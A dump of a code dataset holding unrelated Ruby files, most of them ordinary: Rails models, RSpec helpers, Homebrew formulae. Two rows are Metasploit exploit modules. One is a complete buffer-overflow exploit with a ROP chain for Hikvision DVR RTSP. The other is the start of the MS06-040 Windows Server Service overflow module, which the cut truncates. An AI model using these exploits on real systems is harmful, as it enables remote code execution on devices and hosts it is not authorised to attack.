hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
4a80638f7dcacdcc27eb080336658b906f0d6ecf
192
FactoryGirl.define do factory :carrier_profile do organization { FactoryGirl.create(:organization, legal_name: "United Health Care", dba: "United") } abbrev "UHIC" end end
27.428571
104
0.703125
ac0f0c8d968dc26307ec7388435f7943c12d0ca6
71
module JQueryComplexify module Rails VERSION = "0.3.1" end end
11.833333
23
0.690141
ff2afa6df53e5c92b51de4b92ca11d1689a11a3e
608
# frozen_string_literal: true # == Schema Information # # Table name: pdf_templates # # id :bigint not null, primary key # name :string # content :text # language_code :string # program_id :integer # created_at :datetime not null # updated_at :datetime not null # module CscCore class PdfTemplate < ApplicationRecord self.table_name = "pdf_templates" belongs_to :program validates :name, presence: true validates :language_code, presence: true validates :language_code, uniqueness: { scope: :program_id } end end
23.384615
64
0.654605
ed16fee393c4e647e95b32fb0a8e7f7216224773
900
class Dialog < Formula desc "Display user-friendly message boxes from shell scripts" homepage "https://invisible-island.net/dialog/" url "https://invisible-mirror.net/archives/dialog/dialog-1.3-20190728.tgz" sha256 "e5eb0eaaef9cae8c822887bd998e33c2c3b94ebadd37b4f6aba018c0194a2a87" bottle do cellar :any_skip_relocation sha256 "b13955830b83cb96b1ed1a5fe837bed18b445beda97c11d6d900bfc561177347" => :mojave sha256 "61d4452a033133dfb6f0c5b9504e9cf759be742766efbf24c287001294c005ce" => :high_sierra sha256 "512670cf32f5ef5e24568963be9571330b3ccead0042678e6d6bd76fd4844de8" => :sierra sha256 "6dde7cfc19489c8cebc87e62c97670c6568ff355b8b37006c3abba91a7be6d70" => :x86_64_linux end uses_from_macos "ncurses" def install system "./configure", "--prefix=#{prefix}" system "make", "install-full" end test do system "#{bin}/dialog", "--version" end end
34.615385
94
0.781111
91a1c5db03e7eef1b0784dd0f1c388eed74e5bda
795
cask "waterfox-classic" do version "2021.08.1" sha256 "a07a436d08b73e56f4f1763e55442f2d2127073dffe75bbcc890920ada1e9179" url "https://cdn.waterfox.net/releases/osx64/installer/Waterfox%20Classic%20#{version}%20Setup.dmg" name "Waterfox Classic" desc "Web browser" homepage "https://www.waterfox.net/" livecheck do url "https://www.waterfox.net/download/" regex(%r{href=.*?/Waterfox%20Classic%20(\d+(?:\.\d+)+)%20Setup\.dmg}i) end app "Waterfox Classic.app" zap trash: [ "~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/org.mozilla.waterfox.sfl*", "~/Library/Application Support/Waterfox", "~/Library/Caches/Waterfox", "~/Library/Preferences/org.waterfoxproject.waterfox.plist", ] end
33.125
141
0.734591
e932c6e7ffe1be5e694c7c0ff9c2ec13e78a0100
5,612
require "switchman/test_helper" module Switchman # including this module in your specs will give you several shards to # work with during specs: # * Shard.default - the test database itself # * @shard1 - a shard possibly using the same connection as Shard.default # * @shard2 - a shard using a dedicated connection # * @shard3 - a shard using the same connection as @shard1 (this might # be Shard.default if they already share a connection, or # a separate shard) module RSpecHelper @@keep_the_shards = false @@shard1 = nil @@sharding_failed = false def self.included_in?(klass) klass.parent_groups.any? { |group| group.included_modules.include?(self) } end def self.included(klass) # our before handlers have already been configured from a parent group; don't add them again parent_group = klass.parent_groups[1] return if parent_group && included_in?(parent_group) # set up sharding schemas/dbs before the root group runs, so that # they persist across transactional groups (e.g. once-ler) root_group = klass.parent_groups.last root_group.prepend_before(:all) do |group| next if @@shard1 next if @@sharding_failed # if we aren't actually going to run a sharding group/example, # don't set it up after all groups = group.class.descendant_filtered_examples.map(&:example_group).uniq next unless groups.any?{ |group| RSpecHelper.included_in?(group) } puts "Setting up sharding for all specs..." Shard.delete_all Switchman.cache.delete("default_shard") @@shard1, @@shard2 = TestHelper.recreate_persistent_test_shards @@default_shard = Shard.default if @@shard1.is_a?(Shard) @@keep_the_shards = true @@shard3 = nil else # @@shard1.is_a?(DatabaseServer) begin @@shard1 = @@shard1.create_new_shard @@shard2 = @@shard2.create_new_shard if @@shard1.database_server == Shard.default.database_server @@shard3 = nil else @@shard3 = @@shard1.database_server.create_new_shard end rescue => e $stderr.puts "Sharding setup FAILED!:" while e $stderr.puts "\n#{e}\n" $stderr.puts e.backtrace e = e.respond_to?(:cause) ? e.cause : nil end @@sharding_failed = true (@@shard1.drop_database if @@shard1) rescue nil (@@shard2.drop_database if @@shard3) rescue nil (@@shard3.drop_database if @@shard3) rescue nil @@shard1 = @@shard2 = @@shard3 = nil Shard.delete_all Shard.default(reload: true) next end end # we'll re-persist in the group's `before :all`; we don't want them to exist # in the db before then Shard.delete_all Switchman.cache.delete("default_shard") Shard.default(reload: true) puts "Done!" at_exit do # preserve rspec's exit status status= $!.is_a?(::SystemExit) ? $!.status : nil puts "Tearing down sharding for all specs" @@shard1.database_server.destroy unless @@shard1.database_server == Shard.default.database_server unless @@keep_the_shards @@shard1.drop_database @@shard1.destroy @@shard2.drop_database @@shard2.destroy if @@shard3 @@shard3.drop_database @@shard3.destroy end end @@shard2.database_server.destroy exit status if status end end klass.before(:all) do next if @@sharding_failed dup = @@default_shard.dup dup.id = @@default_shard.id dup.save! Switchman.cache.delete("default_shard") Shard.default(reload: true) dup = @@shard1.dup dup.id = @@shard1.id dup.save! dup = @@shard2.dup dup.id = @@shard2.id dup.save! if @@shard3 dup = @@shard3.dup dup.id = @@shard3.id dup.save! end @shard1, @shard2 = @@shard1, @@shard2 @shard3 = @@shard3 ? @@shard3 : Shard.default end klass.before do raise "Sharding did not set up correctly" if @@sharding_failed Shard.clear_cache if use_transactional_tests Shard.default(reload: true) @shard1 = Shard.find(@shard1.id) @shard2 = Shard.find(@shard2.id) shards = [@shard2] shards << @shard1 unless @shard1.database_server == Shard.default.database_server shards.each do |shard| shard.activate do ::ActiveRecord::Base.connection.begin_transaction joinable: false end end end end klass.after do next if @@sharding_failed if use_transactional_tests shards = [@shard2] shards << @shard1 unless @shard1.database_server == Shard.default.database_server shards.each do |shard| shard.activate do ::ActiveRecord::Base.connection.rollback_transaction if ::ActiveRecord::Base.connection.transaction_open? end end end end klass.after(:all) do Shard.connection.update("TRUNCATE #{Shard.quoted_table_name} CASCADE") Switchman.cache.delete("default_shard") Shard.default(reload: true) end end end end
35.295597
119
0.591589
e823b5613012e03c0590cc95956b8b648f9e7e0c
1,929
require 'volt/page/bindings/base_binding' module Volt # TODO: We need to figure out how we want to wrap JS events class JSEvent attr_reader :js_event def initialize(js_event) @js_event = js_event end def key_code `this.js_event.keyCode` end def stop! `this.js_event.stopPropagation();` end def prevent_default! `this.js_event.preventDefault();` end def target `this.js_event.toElement` end end class EventBinding < BaseBinding attr_accessor :context, :binding_name def initialize(volt_app, target, context, binding_name, event_name, call_proc) super(volt_app, target, context, binding_name) # Map blur/focus to focusout/focusin @event_name = case event_name when 'blur' 'focusout' when 'focus' 'focusin' else event_name end handler = proc do |js_event| event = JSEvent.new(js_event) event.prevent_default! if event_name == 'submit' # Call the proc the user setup for the event in context, # pass in the wrapper for the JS event result = @context.instance_exec(event, &call_proc) # The following doesn't work due to the promise already chained issue. # # Ignore native objects. # result = nil unless BasicObject === result # # if the result is a promise, log an exception if it failed and wasn't # # handled # if result.is_a?(Promise) && !result.next # result.fail do |err| # Volt.logger.error("EventBinding Error: promise returned from event binding #{@event_name} was rejected") # Volt.logger.error(err) # end # end end @listener = browser.events.add(@event_name, self, handler) end # Remove the event binding def remove browser.events.remove(@event_name, self) end end end
25.051948
118
0.629342
26d502f68ebe1033c814f2c4a0204bbeeae9ba6b
647
require "rails_helper" describe DailyMessageSender do describe "#run" do it "sends scheduled messages to employees" do scheduled_message = create(:scheduled_message) employee = create(:employee) message_sender_double = double(run: true) matcher_double = double(run: [employee]) allow(MessageEmployeeMatcher). to receive(:new).with(scheduled_message).and_return(matcher_double) allow(MessageSender).to receive(:new).with(employee, scheduled_message).and_return(message_sender_double) DailyMessageSender.new.run expect(message_sender_double).to have_received(:run) end end end
30.809524
111
0.735703
61c56e2b3df5d3e823e882fc85e705e5267e4422
3,962
# frozen_string_literal: true # TODO: Reduce complexity module ManuscriptLinesControllerConcern extend ActiveSupport::Concern def read_file(ms_siglum, legend_siglum, notes) exten = notes ? 'notes.json' : '*.seltxt' path = if Rails.env.test? Dir.glob( Rails.root.join('spec', 'fixtures', 'files', 'docs', 'transcriptions', ms_siglum.downcase, legend_siglum, exten) ).first else Dir.glob( Rails.root.join('docs', 'transcriptions', ms_siglum.downcase, legend_siglum, exten) ).first end if notes notes_text = File.read(path) JSON.parse(notes_text).with_indifferent_access else File.readlines(path) end end def annotated_line_and_notes(line, line_number, notes, sel_id) words = line.split(' ') notes = notes_for_line(line_number, notes) note_text = [] notes.each do |key, val| note_index = key.split('.').last.to_i - 1 annotated_word = words[note_index] words[note_index] = "<span class='annotated-word' id='note-#{sel_id}-#{note_index}'>#{annotated_word}</span>" note_text.push(val) end [words.join(' '), note_text.join(' ')] end def format_line(line, ms_line, notes = nil) if notes "<div id='selid-#{ms_line.witness_line_number}-msid-#{ms_line.ms_line_number}' class=''>" \ "#{annotated_line(line, notes)}</div>" else "<div id='selid-#{ms_line.witness_line_number}-msid-#{ms_line.ms_line_number}' class=''>#{line}</div>" end end def create_manuscript_line_number(sel_line_number, foliation, note: false) foliation.each do |range_string, folio| range = range_string.split('..').inject{ |st_range, end_range| st_range.to_i..end_range.to_i } if range.include?(sel_line_number.to_i) # rubocop:disable Style/Next folio_line_no = range.find_index(sel_line_number.to_i) + 1 return "#{folio}-#{folio_line_no}-marginal-note" if note return "#{folio}-#{folio_line_no}" end end end def create_marginal_note(key, _value, witness, foliation) ms_line = ManuscriptLine.new ms_line.witness = witness ms_line.witness_line_number = key.split('.').first ms_line.sel_id = "#{witness.manuscript.siglum}-#{witness.saints_legend.siglum}-#{ms_line.witness_line_number}" ms_line.marginal_note = true ms_line.ms_line_number = create_manuscript_line_number(ms_line.witness_line_number, foliation, note: true) if ms_line.save Rails.logger.warn("Saved #{ms_line.sel_id}") else Rails.logger.warn("Failed to save #{ms_line.sel_id}. #{ms_line.errors}") end end def line_note?(line_number, note_keys) return true if note_keys.map{ |key| key.split('.').first }.include?(line_number) end def notes_for_line(line_number, notes) notes.select{ |key, _val| key.split('.').first == line_number } end def create_line(line, index, witness, dictionary, foliation, notes) ms_line = ManuscriptLine.new ms_line.witness = witness ms_line.witness_line_number = index + 1 ms_line.sel_id = "#{witness.manuscript.siglum}-#{witness.saints_legend.siglum}-#{ms_line.witness_line_number}" ms_line.ms_line_number = create_manuscript_line_number(ms_line.witness_line_number, foliation) ms_line.transcribed_line = line expanded_line = line if line_note?(ms_line.witness_line_number, notes.keys) expanded_line, note_text = annotated_line_and_notes( expanded_line, ms_line.witness_line_number, notes, ms_line.sel_id ) ms_line.notes = note_text end dictionary.to_hash.each do |abbrev| expanded_line.gsub!(abbrev[0], abbrev[1]) end ms_line.html_line = expanded_line if ms_line.save Rails.logger.warn("Saved #{ms_line.sel_id}") else Rails.logger.warn("Failed to save #{ms_line.sel_id}. #{ms_line.errors}") end end end
35.061947
115
0.675669
874dbcb176fdd0b970fdc4ce2063c6a4b98b1b4b
483
# frozen_string_literal: true require "roda" require "friendly_numbers" require "blankman" require_relative "models" require_relative "helpers" module AppPrototype class App < Roda include Helpers use Rack::Session::Cookie, secret: ENV.fetch("SESSION_SECRET") { File.read(".session_secret") } opts[:root] = __dir__ opts[:add_script_name] = true plugin :render, escape: :erubi, layout: "./layout" route do |r| r.root { "Root" } end end end
19.32
99
0.687371
edfe257585abf29a6092bdcbaebf08373a777471
3,229
class Deposit < ActiveRecord::Base STATES = [:submitting, :cancelled, :submitted, :rejected, :accepted, :checked, :warning] extend Enumerize include AASM include AASM::Locking include Currencible has_paper_trail on: [:update, :destroy] enumerize :aasm_state, in: STATES, scope: true alias_attribute :sn, :id delegate :name, to: :member, prefix: true delegate :id, to: :channel, prefix: true delegate :coin?, :fiat?, to: :currency_obj belongs_to :member belongs_to :account validates_presence_of \ :amount, :account, \ :member, :currency validates_numericality_of :amount, greater_than: 0 after_update :sync_update after_create :sync_create after_destroy :sync_destroy aasm :whiny_transitions => false do state :submitting, initial: true, before_enter: :set_fee state :cancelled state :submitted state :rejected state :accepted, after_commit: [:do, :send_mail, :send_sms] state :checked state :warning event :submit do transitions from: :submitting, to: :submitted end event :cancel do transitions from: :submitting, to: :cancelled end event :reject do transitions from: :submitted, to: :rejected end event :accept do transitions from: :submitted, to: :accepted end event :check do transitions from: :accepted, to: :checked end event :warn do transitions from: :accepted, to: :warning end end class << self def channel DepositChannel.find_by_key(name.demodulize.underscore) end def resource_name name.demodulize.underscore.pluralize end def params_name name.underscore.gsub('/', '_') end def new_path "new_#{params_name}_path" end end def channel self.class.channel end def update_memo(data) update_column(:memo, data) end def txid_text txid && txid.truncate(40) end private def do account.lock!.plus_funds amount, reason: Account::DEPOSIT, ref: self end def send_mail DepositMailer.accepted(self.id).deliver if self.accepted? end def send_sms return true if not member.sms_two_factor.activated? sms_message = I18n.t('sms.deposit_done', email: member.email, currency: currency_text, time: I18n.l(Time.now), amount: amount, balance: account.balance) # Treefunder Disable Deposit Notifications #AMQPQueue.enqueue(:sms_notification, phone: member.phone_number, message: sms_message) end def set_fee amount, fee = calc_fee self.amount = amount self.fee = fee end def calc_fee [amount, 0] end def sync_update ::Pusher["private-#{member.sn}"].trigger_async('deposits', { type: 'update', id: self.id, attributes: self.changes_attributes_as_json }) end def sync_create ::Pusher["private-#{member.sn}"].trigger_async('deposits', { type: 'create', attributes: self.as_json }) end def sync_destroy ::Pusher["private-#{member.sn}"].trigger_async('deposits', { type: 'destroy', id: self.id }) end end
23.230216
140
0.64695
1d3037e1d07028fc45a52e7e1b5df086a846d9e8
238
require 'rails_helper' RSpec.describe "Recipes", type: :request do describe "GET /recipes" do it "works! (now write some real specs)" do get recipes_path expect(response).to have_http_status(:success) end end end
21.636364
52
0.693277
1131c27034d096059f5a47bd24497aad321e051e
1,443
# # Author:: Adam Jacob (<[email protected]>) # Author:: Christopher Brown (<[email protected]>) # Copyright:: Copyright (c) 2008 Opscode, Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 'chef/solr_query' class Search < Application provides :json before :authenticate_every before :is_admin, :only => [:reindex] def index indexes = valid_indexes display(indexes.inject({}) { |r,i| r[i] = absolute_url(:search_show, i); r }) end def valid_indexes indexes = Chef::DataBag.cdb_list(false) indexes += %w{ role node client environment} end def show unless valid_indexes.include?(params[:id]) raise NotFound, "I don't know how to search for #{params[:id]} data objects." end params[:type] = params.delete(:id) display(Chef::SolrQuery.from_params(params).search) end def reindex display(Chef::SolrQuery.new.rebuild_index) end end
28.294118
83
0.713098
39c567a26e3d57a7aaf559d96988a23c160dad01
91
class PagesController < ApplicationController def home @issues = Issue.all end end
15.166667
45
0.747253
0340c50142681c05f72a35c1369b1f0bdfa1a10f
54
class AdminbsbsController < ApplicationController end
18
49
0.888889
080907dfd3433c625d3e731f8581884a5e9dd472
3,951
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Hikvision DVR RTSP Request Remote Code Execution', 'Description' => %q{ This module exploits a buffer overflow in the RTSP request parsing code of Hikvision DVR appliances. The Hikvision DVR devices record video feeds of surveillance cameras and offer remote administration and playback of recorded footage. The vulnerability is present in several models / firmware versions but due to the available test device this module only supports the DS-7204 model. }, 'Author' => [ 'Mark Schloesser <mark_schloesser[at]rapid7.com>', # @repmovsb, vulnerability analysis & exploit dev ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-4880' ], [ 'URL', 'https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities' ] ], 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Privileged' => true, 'Targets' => [ # # ROP targets are difficult to represent in the hash, use callbacks instead # [ "DS-7204 Firmware V2.2.10 build 131009", { # The callback handles all target-specific settings :callback => :target_ds7204_1, 'g_adjustesp' => 0x002c828c, # ADD SP, SP, #0x350 # LDMFD SP!, {R4-R6,PC} 'g_r3fromsp' => 0x00446f80, # ADD R3, SP, #0x60+var_58 # BLX R6 'g_blxr3_pop' => 0x00456360, # BLX R3 # LDMFD SP!, {R1-R7,PC} 'g_popr3' => 0x0000fe98, # LDMFD SP!, {R3,PC} } ], [ "Debug Target", { # The callback handles all target-specific settings :callback => :target_debug } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2014-11-19')) register_options( [ Opt::RPORT(554) ]) end def exploit unless self.respond_to?(target[:callback], true) fail_with(Failure::NoTarget, "Invalid target specified: no callback function defined") end device_rop = self.send(target[:callback]) request = "PLAY rtsp://#{rhost}/ RTSP/1.0\r\n" request << "CSeq: 7\r\n" request << "Authorization: Basic " request << rand_text_alpha(0x280 + 34) request << [target["g_adjustesp"]].pack("V")[0..2] request << "\r\n\r\n" request << rand_text_alpha(19) # now append the ropchain request << device_rop request << rand_text_alpha(8) request << payload.encoded connect sock.put(request) disconnect end # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc def target_ds7204_1 # Create a fixed-size buffer for the rop chain ropbuf = rand_text_alpha(24) # CHAIN = [ # 0, #R4 pop adjustsp # 0, #R5 pop adjustsp # GADGET_BLXR3_POP, #R6 pop adjustsp # GADGET_POPR3, # 0, #R3 pop # GADGET_R3FROMSP, # ] ropbuf[8,4] = [target["g_blxr3_pop"]].pack("V") ropbuf[12,4] = [target["g_popr3"]].pack("V") ropbuf[20,4] = [target["g_r3fromsp"]].pack("V") return ropbuf end # Generate a buffer that provides a starting point for exploit development def target_debug Rex::Text.pattern_create(2000) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end end
28.630435
125
0.567957
91051c517b693be3c72ae88a9accf687a953c0f7
1,313
module SolidusEventsTracker module Generators class InstallGenerator < Rails::Generators::Base class_option :auto_run_migrations, :type => :boolean, :default => false def add_javascripts append_file 'vendor/assets/javascripts/spree/frontend/all.js', "//= require spree/frontend/solidus_events_tracker\n" append_file 'vendor/assets/javascripts/spree/backend/all.js', "//= require spree/backend/solidus_events_tracker\n" end def add_stylesheets inject_into_file 'vendor/assets/stylesheets/spree/frontend/all.css', " *= require spree/frontend/solidus_events_tracker\n", :before => /\*\//, :verbose => true inject_into_file 'vendor/assets/stylesheets/spree/backend/all.css', " *= require spree/backend/solidus_events_tracker\n", :before => /\*\//, :verbose => true end def add_migrations run 'bundle exec rake railties:install:migrations FROM=solidus_events_tracker' end def run_migrations run_migrations = options[:auto_run_migrations] || ['', 'y', 'Y'].include?(ask 'Would you like to run the migrations now? [Y/n]') if run_migrations run 'bundle exec rake db:migrate' else puts 'Skipping rake db:migrate, don\'t forget to run it!' end end end end end
41.03125
167
0.681645
1d2c48a74bc8a23fcfd8e6e0481e8fa86a63509a
6,666
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2017_03_30 module Models # # NetworkSecurityGroup resource. # class NetworkSecurityGroup < Resource include MsRestAzure # @return [Array<SecurityRule>] A collection of security rules of the # network security group. attr_accessor :security_rules # @return [Array<SecurityRule>] The default security rules of network # security group. attr_accessor :default_security_rules # @return [Array<NetworkInterface>] A collection of references to network # interfaces. attr_accessor :network_interfaces # @return [Array<Subnet>] A collection of references to subnets. attr_accessor :subnets # @return [String] The resource GUID property of the network security # group resource. attr_accessor :resource_guid # @return [String] The provisioning state of the public IP resource. # Possible values are: 'Updating', 'Deleting', and 'Failed'. attr_accessor :provisioning_state # @return [String] A unique read-only string that changes whenever the # resource is updated. attr_accessor :etag # # Mapper for NetworkSecurityGroup class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'NetworkSecurityGroup', type: { name: 'Composite', class_name: 'NetworkSecurityGroup', model_properties: { id: { client_side_validation: true, required: false, serialized_name: 'id', type: { name: 'String' } }, name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'name', type: { name: 'String' } }, type: { client_side_validation: true, required: false, read_only: true, serialized_name: 'type', type: { name: 'String' } }, location: { client_side_validation: true, required: false, serialized_name: 'location', type: { name: 'String' } }, tags: { client_side_validation: true, required: false, serialized_name: 'tags', type: { name: 'Dictionary', value: { client_side_validation: true, required: false, serialized_name: 'StringElementType', type: { name: 'String' } } } }, security_rules: { client_side_validation: true, required: false, serialized_name: 'properties.securityRules', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'SecurityRuleElementType', type: { name: 'Composite', class_name: 'SecurityRule' } } } }, default_security_rules: { client_side_validation: true, required: false, serialized_name: 'properties.defaultSecurityRules', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'SecurityRuleElementType', type: { name: 'Composite', class_name: 'SecurityRule' } } } }, network_interfaces: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.networkInterfaces', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'NetworkInterfaceElementType', type: { name: 'Composite', class_name: 'NetworkInterface' } } } }, subnets: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.subnets', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'SubnetElementType', type: { name: 'Composite', class_name: 'Subnet' } } } }, resource_guid: { client_side_validation: true, required: false, serialized_name: 'properties.resourceGuid', type: { name: 'String' } }, provisioning_state: { client_side_validation: true, required: false, serialized_name: 'properties.provisioningState', type: { name: 'String' } }, etag: { client_side_validation: true, required: false, serialized_name: 'etag', type: { name: 'String' } } } } } end end end end
32.202899
79
0.439544
3812542d8cf96ee6dfc2d28b55ee65736682373d
2,246
require 'rails_helper' RSpec.describe EmailAddressValidator do let(:model_class) do Class.new do include ActiveModel::Model attr_accessor :email def self.name 'MyModel' end validates :email, email_address: true end end it 'will validate a recognisable email address' do model = model_class.new(email: "[email protected]") model.valid? expect(model.errors).not_to include :email end it 'will validate an email address with two TLDs' do model = model_class.new(email: "[email protected]") model.valid? expect(model.errors).not_to include :email end it 'will validate an email address with underscores, dots and hyphens' do model = model_class.new(email: "[email protected]") model.valid? expect(model.errors).not_to include :email end it 'will validate an email address with numbers' do model = model_class.new(email: "[email protected]") model.valid? expect(model.errors).not_to include :email end it 'will not validate an email address without a TLD' do model = model_class.new(email: "test@example") model.valid? expect(model.errors.details[:email]).to include a_hash_including(error: :invalid_email) end it 'will not validate an email address with a one character TLD' do model = model_class.new(email: "[email protected]") model.valid? expect(model.errors.details[:email]).to include a_hash_including(error: :invalid_email) end it 'will not validate an email address with more than one "@"' do model = model_class.new(email: "test@@example.com") model.valid? expect(model.errors.details[:email]).to include a_hash_including(error: :invalid_email) end it 'will not validate an email address without a username/recipient' do model = model_class.new(email: "@example.com") model.valid? expect(model.errors.details[:email]).to include a_hash_including(error: :invalid_email) end it 'will not validate an email address without an "@" sign' do model = model_class.new(email: "testexample.com") model.valid? expect(model.errors.details[:email]).to include a_hash_including(error: :invalid_email) end end
24.955556
91
0.707035
381a1e8ce20c09078b4218cd3d23206ddb7c7114
2,420
require 'faraday' require 'json' module MercadoPago module Request class ClientError < Exception end MIME_JSON = 'application/json' MERCADOPAGO_RUBY_SDK_VERSION = '0.3.4' # # This URL is the base for all API calls. # MERCADOPAGO_URL = 'https://api.mercadopago.com' def self.default_headers { 'User-Agent' => "MercadoPago Ruby SDK v" + MERCADOPAGO_RUBY_SDK_VERSION, content_type: MIME_JSON, accept: MIME_JSON } end # # Makes a POST request to the MercadoPago API. # # - path: the path of the API to be called. # - payload: the data to be trasmitted to the API. # - headers: the headers to be transmitted over the HTTP request. # def self.wrap_post(path, payload, headers = {}) raise ClientError('No data given') if payload.nil? or payload.empty? make_request(:post, path, payload, headers) end # # Makes a GET request to the MercadoPago API. # # - path: the path of the API to be called, including any query string parameters. # - headers: the headers to be transmitted over the HTTP request. # def self.wrap_get(path, headers = {}) make_request(:get, path, nil, headers) end # # Makes a PUT request to the MercadoPago API. # # - path: the path of the API to be called, including any query string parameters. # - headers: the headers to be transmitted over the HTTP request. # def self.wrap_put(path, payload, headers = {}) make_request(:put, path, payload, headers) end # # Makes a HTTP request to the MercadoPago API. # # - type: the HTTP request type (:get, :post, :put, :delete). # - path: the path of the API to be called. # - payload: the data to be trasmitted to the API. # - headers: the headers to be transmitted over the HTTP request. # def self.make_request(type, path, payload = nil, headers = {}) headers = default_headers.merge(headers) ssl_option = { verify: true } connection = Faraday.new(MERCADOPAGO_URL, ssl: ssl_option) response = connection.send(type) do |req| req.url path req.headers = headers req.body = payload end JSON.load(response.body) rescue Exception => e if e.respond_to?(:response) JSON.load(e.response) else raise e end end end end
27.191011
86
0.629752
6a7d713b1319545fa6f16bb5d863ccd51fba9df1
4,084
# This file was generated by the `rails generate rspec:install` command. Conventionally, all # specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`. # The generated `.rspec` file contains `--require spec_helper` which will cause this # file to always be loaded, without a need to explicitly require it in any files. # # Given that it is always loaded, you are encouraged to keep this file as # light-weight as possible. Requiring heavyweight dependencies from this file # will add to the boot time of your test suite on EVERY test run, even for an # individual file that may not need all of that loaded. Instead, consider making # a separate helper file that requires the additional dependencies and performs # the additional setup, and require it from the spec files that actually need it. # # The `.rspec` file also contains a few flags that are not defaults but that # users commonly want. # # See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration RSpec.configure do |config| # rspec-expectations config goes here. You can use an alternate # assertion/expectation library such as wrong or the stdlib/minitest # assertions if you prefer. config.expect_with :rspec do |expectations| # This option will default to `true` in RSpec 4. It makes the `description` # and `failure_message` of custom matchers include text for helper methods # defined using `chain`, e.g.: # be_bigger_than(2).and_smaller_than(4).description # # => "be bigger than 2 and smaller than 4" # ...rather than: # # => "be bigger than 2" expectations.include_chain_clauses_in_custom_matcher_descriptions = true end # rspec-mocks config goes here. You can use an alternate test double # library (such as bogus or mocha) by changing the `mock_with` option here. config.mock_with :rspec do |mocks| # Prevents you from mocking or stubbing a method that does not exist on # a real object. This is generally recommended, and will default to # `true` in RSpec 4. mocks.verify_partial_doubles = true end # The settings below are suggested to provide a good initial experience # with RSpec, but feel free to customize to your heart's content. # These two settings work together to allow you to limit a spec run # to individual examples or groups you care about by tagging them with # `:focus` metadata. When nothing is tagged with `:focus`, all examples # get run. config.filter_run :focus config.run_all_when_everything_filtered = true # Limits the available syntax to the non-monkey patched syntax that is recommended. # For more details, see: # - http://myronmars.to/n/dev-blog/2012/06/rspecs-new-expectation-syntax # - http://teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/ # - http://myronmars.to/n/dev-blog/2014/05/notable-changes-in-rspec-3#new__config_option_to_disable_rspeccore_monkey_patching config.disable_monkey_patching! # Many RSpec users commonly either run the entire suite or an individual # file, and it's useful to allow more verbose output when running an # individual spec file. if config.files_to_run.one? # Use the documentation formatter for detailed output, # unless a formatter has already been configured # (e.g. via a command-line flag). config.default_formatter = 'doc' end # Print the 10 slowest examples and example groups at the # end of the spec run, to help surface which specs are running # particularly slow. config.profile_examples = 10 # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 config.order = :random # Seed global randomization in this process using the `--seed` CLI option. # Setting this allows you to use `--seed` to deterministically reproduce # test failures related to randomization by passing the same `--seed` value # as the one that triggered the failure. Kernel.srand config.seed end
48.619048
129
0.745348
e80f78fed2e5640a0769f8ab6abbcb46a584fa09
392
describe "Lore queries" do include_context "db" it do assert_search_equal "lore:gideon", "gideon or t:gideon or ft:gideon" assert_search_equal "lore:jaya", "jaya or t:jaya or ft:jaya" assert_search_equal "lore:chandra", "chandra or t:chandra or ft:chandra" assert_search_equal %[lore:"nicol bolas"], %[lore:"nicol bolas" or t:"nicol bolas" or ft:"nicol bolas"] end end
35.636364
107
0.714286
335165a58daf929453876b0860c24e54e2aaf3b2
9,373
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that other RPC calls could be used to exploit this service. This exploit will result in a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt will likely result in a complete reboot on Windows 2000 and the termination of all SMB-related services on Windows XP. The default target for this exploit should succeed on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2006-3439' ], [ 'OSVDB', '27845' ], [ 'BID', '19409' ], [ 'MSB', 'MS06-040' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { # Technically we can use more space than this, but by limiting it # to 370 bytes we can use the same request for all Windows SPs. 'Space' => 370, 'BadChars' => 